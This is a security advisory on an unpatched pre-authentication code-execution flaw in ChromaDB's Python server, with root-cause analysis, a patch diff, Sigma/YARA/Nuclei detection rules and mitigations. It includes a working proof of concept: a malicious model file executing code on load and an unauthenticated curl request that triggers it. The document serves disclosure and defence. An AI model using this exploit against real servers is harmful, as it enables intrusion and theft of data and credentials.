
TL;DR.
ChromaDB's Python FastAPI server loads attacker-controlled embedding-function configuration before it runs its auth check. Set trust_remote_code: true and point model_name at any HuggingFace repo (or a local path) you control, and the server executes your Python from inside the POST /api/v2/.../collections request — and then politely returns 403 Forbidden afterwards. CVSS 4.0 = 10.0. Still unpatched in v1.5.9 (latest at time of writing).
Background
Chroma is one of the more widely deployed open-source vector databases behind RAG pipelines. It ships two server implementations: a default Rust frontend (chroma run) and a Python FastAPI server (chromadb.server.fastapi.FastAPI) that's still used by many self-hosters, dev instances, and the chromadb[server] Python distribution. Only the Python server is affected. The Rust server doesn't go through this code path.
The bug was reported on 2025-11-28 by HiddenLayer ("ChromaToast"), publicly disclosed in issue #6717 after maintainer silence, and assigned CVE-2026-45829.
Root cause
The vulnerable handler lives in chromadb/server/fastapi/__init__.py, function create_collection. Here's the relevant body (Chroma 1.5.9, current main):
async def create_collection(self, request, tenant, database_name):
def process_create_collection(request, tenant, database, raw_body):
create = validate_model(CreateCollection, orjson.loads(raw_body))
if not create.configuration:
...
else:
configuration = load_create_collection_configuration_from_json( # <-- (1)
create.configuration
)
# NOTE(rescrv, iron will auth): Implemented.
self.sync_auth_request( # <-- (2)
request.headers,
AuthzAction.CREATE_COLLECTION,
tenant, database, create.name,
)
...
Two things happen, in this order:
- The raw JSON body is parsed and load_create_collection_configuration_from_json() is called on the attacker-controlled configuration blob.
- sync_auth_request() checks credentials.
Step 1 is not a passive parse. load_create_collection_configuration_from_json instantiates the named embedding function (chromadb/api/collection_configuration.py:317):
if json_map.get("embedding_function") is not None:
ef_config = json_map["embedding_function"]
...
ef = known_embedding_functions[ef_config["name"]]
result["embedding_function"] = ef.build_from_config(ef_config["config"])
…and for the registered sentence_transformer EF, build_from_config happily forwards the attacker's kwargs straight into the model loader (chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py):
def __init__(self, model_name="all-MiniLM-L6-v2", device="cpu",
normalize_embeddings=False, **kwargs):
...
for key, value in kwargs.items():
if not isinstance(value, (str, int, float, bool, list, dict, tuple)):
raise ValueError(f"Keyword argument {key} is not a primitive type")
self.kwargs = kwargs
if model_name not in self.models:
self.models[model_name] = SentenceTransformer(
model_name_or_path=model_name, device=device, **kwargs
)
The "validation" is a type check that explicitly allows bool so trust_remote_code=True passes through untouched and lands inside sentence-transformers, which forwards it to transformers.AutoModel.from_pretrained(). transformers then dynamically imports the auto_map Python file shipped with the model, executing whatever module-level code it contains. Three registered EFs (sentence_transformer, plus two more transformers-backed EFs) share the same **kwargs passthrough.
The CWE here is CWE-94 (code injection) with a side helping of CWE-862 (missing authorization): the design treats embedding-function instantiation as cheap parsing rather than as a security-relevant action.
The patch
There isn't one. As of Chroma 1.5.9 (latest PyPI release at time of writing) and main at 8f76e1b, the vulnerable handler is identical to the snippet above. HiddenLayer reports they got an initial acknowledgement on 2025-12-16 followed by silence across 10+ follow-ups.
The fix is structurally trivial. The auth call has to move above the configuration loader, and kwargs keys need to be stripped (or whitelisted) before being forwarded into model loaders. Conceptually:
--- a/chromadb/server/fastapi/__init__.py
+++ b/chromadb/server/fastapi/__init__.py
@@ create_collection
create = validate_model(CreateCollection, orjson.loads(raw_body))
+ self.sync_auth_request(
+ request.headers,
+ AuthzAction.CREATE_COLLECTION,
+ tenant, database, create.name,
+ )
if not create.configuration:
...
else:
configuration = load_create_collection_configuration_from_json(
create.configuration
)
- self.sync_auth_request(
- request.headers,
- AuthzAction.CREATE_COLLECTION,
- tenant, database, create.name,
- )
--- a/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py
+++ b/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py
@@ __init__
- for key, value in kwargs.items():
- if not isinstance(value, (str, int, float, bool, list, dict, tuple)):
- raise ValueError(f"Keyword argument {key} is not a primitive type")
- self.kwargs = kwargs
+ DENY = {"trust_remote_code", "use_auth_token", "token",
+ "code_revision", "revision"}
+ for k in DENY:
+ kwargs.pop(k, None)
+ self.kwargs = kwargs
Reordering closes the pre-auth surface; the deny-list closes the post-auth surface (any authenticated tenant can still trivially RCE the server without it, which matters in multi-tenant deployments and in the SDK-poisoning variant HiddenLayer also describes).
Validation
Standing it up in the sandbox, pinned to the latest vulnerable release:
python3 -m venv venv && . venv/bin/activate
pip install 'chromadb==1.5.9' sentence-transformers fastapi uvicorn \
opentelemetry-instrumentation-fastapi
I want the auth check to actually fire in the run so the bypass is unambiguous. Auth-required server (run_server.py):
import uvicorn
from chromadb.config import Settings
from chromadb.server.fastapi import FastAPI
settings = Settings(
is_persistent=True, persist_directory="/tmp/cve-work/chroma-data",
anonymized_telemetry=False,
chroma_server_authn_provider=
"chromadb.auth.token_authn.TokenAuthenticationServerProvider",
chroma_server_authn_credentials="my-super-secret-token",
chroma_auth_token_transport_header="X-Chroma-Token",
)
app = FastAPI(settings).app()
uvicorn.run(app, host="127.0.0.1", port=8000)
Baseline — auth is in fact required for a benign request:
$ curl -s -o /dev/null -w "HTTP %{http_code}\n" -X POST \
http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections \
-H 'Content-Type: application/json' -d '{"name":"benign"}'
HTTP 403
Now the weaponised malicious "model" — anything transformers will import under trust_remote_code=True. Two files, dropped at /tmp/cve-work/evil-model/:
// config.json
{
"architectures": ["EvilModel"], "model_type": "evil",
"auto_map": {
"AutoConfig": "modeling_evil.EvilConfig",
"AutoModel": "modeling_evil.EvilModel"
},
"hidden_size": 8, "num_hidden_layers": 1, "num_attention_heads": 1,
"intermediate_size": 8, "vocab_size": 8, "torch_dtype": "float32"
}
# modeling_evil.py
import os, socket, getpass, platform, subprocess, json, datetime
info = {
"ts": datetime.datetime.utcnow().isoformat() + "Z",
"host": socket.gethostname(), "user": getpass.getuser(),
"uid": os.getuid(), "pid": os.getpid(),
"id_cmd": subprocess.check_output(["id"]).decode().strip(),
}
open("/tmp/cve-work/PWNED.txt", "w").write(json.dumps(info, indent=2))
print("[evil-model] code execution achieved as:", info["user"], "uid=", info["uid"])
from transformers import PretrainedConfig, PreTrainedModel
class EvilConfig(PretrainedConfig): model_type = "evil"
class EvilModel(PreTrainedModel):
config_class = EvilConfig
def __init__(self, config): super().__init__(config)
def forward(self, *a, **kw): return None
Fire — note no auth header:
$ rm -f /tmp/cve-work/PWNED.txt
$ curl -s -w 'HTTP %{http_code}\n' -X POST \
http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections \
-H 'Content-Type: application/json' \
-d '{"name":"poc","configuration":{"embedding_function":{
"type":"known","name":"sentence_transformer","config":{
"model_name":"/tmp/cve-work/evil-model","device":"cpu",
"normalize_embeddings":false,
"kwargs":{"trust_remote_code":true}}}}}'
HTTP 500
{"error":"OSError('Error no file named model.safetensors, or pytorch_model.bin, found in directory /tmp/cve-work/evil-model.')"}
$ cat /tmp/cve-work/PWNED.txt
{
"ts": "2026-05-19T10:37:56.193155Z",
"host": "DESKTOP-R63FTTB",
"user": "user",
"uid": 1000,
"pid": 1720,
"id_cmd": "uid=1000(user) gid=1000(user) groups=1000(user),4(adm),...,1001(docker)"
}
The HTTP response is a 500 because after our payload ran, transformers continued and tried to load weight files we never bothered shipping. By that point we already have code execution: pid: 1720 matches the uvicorn server PID, and the id output is captured from inside the server process. Server log confirms it:
[evil-model] code execution achieved as: user uid= 1000
INFO: 127.0.0.1:41494 - "POST /api/v2/tenants/default_tenant/.../collections HTTP/1.1" 500
From the outside this looks like a failed API call. Inside, attacker code has run as the chroma process.
This is full pre-auth RCE, not just a crash primitive.
Exploitation
Preconditions:
- ChromaDB Python FastAPI server, any version >= 1.0.0.
- sentence-transformers and transformers installed in the server's environment (they're the upstream-recommended optional deps; in practice most self-hosted deployments have them).
- Network reachability to the API. No credentials, no tenant knowledge. default_tenant / default_database exist by default.
Attacker steps:
- Push a HuggingFace repo (attacker/pwn) containing a config.json with an auto_map and a modeling_*.py whose module-level code is your payload. Or, as shown above, point at an attacker-writable local path which is relevant in CI / shared dev boxes.
- POST to /api/v2/tenants/default_tenant/databases/default_database/collections with a sentence_transformer embedding function whose kwargs.trust_remote_code is true and model_name is attacker/pwn.
- Server downloads the repo, instantiates the model, executes your payload, then returns 403.
What an attacker gets: arbitrary Python code execution inside the Chroma server process. In a typical RAG deployment that process has read access to:
- The entire vector store (all tenants, all collections, all documents),
- Whatever cloud credentials are mounted for embedding-provider API keys (OpenAI, Cohere, Voyage, Bedrock, Vertex…),
- Whatever credentials are present for backing object storage (S3/GCS/Azure Blob) where collection persistence lives.
HiddenLayer documents a second variant where an authenticated attacker poisons a collection's stored embedding-function config; any later legitimate client that calls _embed() against that collection executes the poison via CollectionCommon.py:755. That turns the bug into a watering-hole inside a single tenant, and is unblocked by the (still-missing) auth-ordering fix because the SDK trusts server-provided config.
Detection
Server-side log signatures (the most reliable indicator on a vulnerable box):
- POST /api/v2/tenants/.../collections returning 500 while the response body contains trust_remote_code, sentence_transformers, transformers, auto_map, OSError, FileNotFoundError, or HFValidationError.
- Any outbound network to huggingface.co / cdn-lfs.huggingface.co originating from the Chroma server process that wasn't initiated by your own ingestion code.
- transformers_modules/ directories appearing in the server user's ~/.cache/huggingface/modules/ — this is where the dynamic loader stages auto_map modules; a directory you didn't authorize is a smoking gun.
Sigma sketch (HTTP access log):
title: ChromaDB pre-auth trust_remote_code RCE attempt
logsource: { product: chromadb, service: fastapi }
detection:
sel:
http.method: POST
http.uri|contains: "/collections"
http.body|contains:
- "trust_remote_code"
- "sentence_transformer"
condition: sel
level: critical
YARA for staged attack artefacts inside ~/.cache/huggingface/modules/transformers_modules/:
rule chroma_remote_code_payload {
strings:
$a = "auto_map"
$b = /import\s+(os|subprocess|socket|ctypes)/
$c = /(os\.system|subprocess\.(Popen|run|check_output)|exec\()/
condition: $a in (0..2048) and 2 of ($b,$c)
}
Nuclei template
The template runs without executing code on the target. Single scan; every condition ANDed:
- Preflight GET /api/v2/heartbeat must return 200, body nanosecond heartbeat, chroma-trace-id header, body length 40–60 bytes (vanilla chroma heartbeat shape).
- Exploit probe POST /api/v2/tenants/default_tenant/databases/default_database/collections (no auth, trust_remote_code: true, model_name = /nonexistent/cve45829{{rand_text_alpha(16)}}) must return 500, chroma-trace-id header, and a body reflecting the per-scan token inside the exact envelope {"error":"FileNotFoundError('Path /nonexistent/cve45829<TOK> not found')"}. Body must not contain AuthError / Forbidden / Unauthorized.
A patched (or auth-fronted) instance refuses with 401/403 before reaching the loader and never reflects the token; vanilla FastAPI / unrelated services fail the chroma fingerprint. FP tests confirm: vanilla FastAPI returning a similar 500 envelope and Python http.server both produce no match. The only static-FP scenario is a target deliberately built to mimic both chroma endpoints AND echo the supplied path — documented as a known limitation.
Run against the vulnerable instance:
$ nuclei -t cve-2026-45829.yaml -u http://127.0.0.1:8000 -duc -nc
[cve-2026-45829] [http] [critical] http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections
[INF] Scan completed in 7.8ms. 1 matches found.
id: cve-2026-45829
info:
name: ChromaDB Python Server Pre-Auth Remote Code Execution
author: hadrian
severity: critical
description: |
The ChromaDB Python FastAPI server (>= 1.0.0) loads the user-supplied
create_collection embedding-function configuration BEFORE invoking
the authentication/authorization check. An unauthenticated attacker
can POST a sentence_transformer embedding function with
kwargs.trust_remote_code=true and an attacker-controlled model
reference to achieve arbitrary code execution as the server process;
the server then returns 401/403, masking the compromise.
This template fingerprints the bug WITHOUT executing code. Detection
is intentionally conservative — every one of the following must hold
on a single scan, ANDed together via DSL:
Preflight (request 1, GET /api/v2/heartbeat):
* status == 200
* "chroma-trace-id" response header
* body contains "nanosecond heartbeat" and is the right length
Exploit probe (request 2, POST /api/v2/tenants/.../collections):
* status == 500
* "chroma-trace-id" response header
* body matches reflected envelope
{"error":"FileNotFoundError('Path /nonexistent/cve45829<TOK> not found')"}
where <TOK> is the random 16-char token we sent on this scan
* body does NOT contain AuthError / Forbidden / Unauthorized
Known limitation: a purpose-built ChromaDB honeypot that implements
both endpoints and echoes the model_name is indistinguishable at the
protocol level.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-45829
- https://www.hiddenlayer.com/research/chromatoast-served-pre-auth
- https://github.com/chroma-core/chroma/issues/6717
classification:
cve-id: CVE-2026-45829
cwe-id: CWE-94
cvss-score: 10.0
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
tags: cve,cve2026,chromadb,rce,pre-auth,unauth,llm,ai
http:
- raw:
- |
GET /api/v2/heartbeat HTTP/1.1
Host: {{Hostname}}
Accept: application/json
- |
POST /api/v2/tenants/default_tenant/databases/default_database/collections HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"name":"probe","configuration":{"embedding_function":{"type":"known","name":"sentence_transformer","config":{"model_name":"/nonexistent/cve45829{{rand_text_alpha(16)}}","device":"cpu","normalize_embeddings":false,"kwargs":{"trust_remote_code":true}}}}}
req-condition: true
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "contains(tolower(all_headers_1), 'chroma-trace-id')"
- "contains(body_1, 'nanosecond heartbeat')"
- "len(body_1) > 40"
- "len(body_1) < 60"
- "status_code_2 == 500"
- "contains(tolower(all_headers_2), 'chroma-trace-id')"
- "regex('FileNotFoundError..Path /nonexistent/cve45829[A-Za-z]+ not found..', body_2)"
- "contains(body_2, 'FileNotFoundError')"
- "contains(body_2, '/nonexistent/cve45829')"
- "contains(body_2, 'not found')"
- "!contains(tolower(body_2), 'autherror')"
- "!contains(tolower(body_2), 'forbidden')"
- "!contains(tolower(body_2), 'unauthorized')"
condition: and
Mitigation
There is no fixed version at time of writing (latest is 1.5.9). Until upstream ships a patch:
- Switch to the Rust server (chroma run). Not affected.
- If you must run the Python FastAPI server, terminate auth at a reverse proxy (nginx / Envoy / a service mesh sidecar) so the Chroma process literally never receives unauthenticated requests. Specifically: gate POST /api/v2/tenants/*/databases/*/collections and the equivalent v1 path behind your auth provider — Chroma's own token check is too late in the request lifecycle to help here.
- Disallow egress from the Chroma host to huggingface.co and *.huggingface.co if you don't actually use HuggingFace-hosted models. This breaks the easy remote payload path (local-path exploitation is still possible if an attacker can write files reachable from the server FS — usually a much narrower scenario).
- Monitor ~/.cache/huggingface/modules/transformers_modules/ on Chroma hosts; alert on new directories not produced by your own ingestion jobs.
A local hotfix you can carry on top of 1.5.9 is the diff in the patch section above — moving sync_auth_request above load_create_collection_configuration_from_json, and stripping trust_remote_code from EF kwargs.
Timeline
- 2025-11-28 — HiddenLayer reports both RCE variants to Chroma maintainers.
- 2025-12-16 — Chroma acknowledges receipt, marks the issue for triage.
- 2026 (Jan–Apr) — 10+ HiddenLayer follow-ups receive no response.
- 2026-05-12 — CVE-2026-45829 reserved.
- 2026-05-13 — HiddenLayer publishes ChromaToast Served Pre-Auth; public GitHub issue #6717 opened.
- 2026-05-19 — Latest Chroma release (1.5.9) remains vulnerable. No KEV entry.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-45829
- https://www.hiddenlayer.com/research/chromatoast-served-pre-auth
- https://github.com/chroma-core/chroma/issues/6717
- https://github.com/chroma-core/chroma/blob/main/chromadb/server/fastapi/init.py
- https://github.com/chroma-core/chroma/blob/main/chromadb/api/collection_configuration.py
- https://github.com/chroma-core/chroma/blob/main/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py
- https://huggingface.co/docs/transformers/en/custom_models




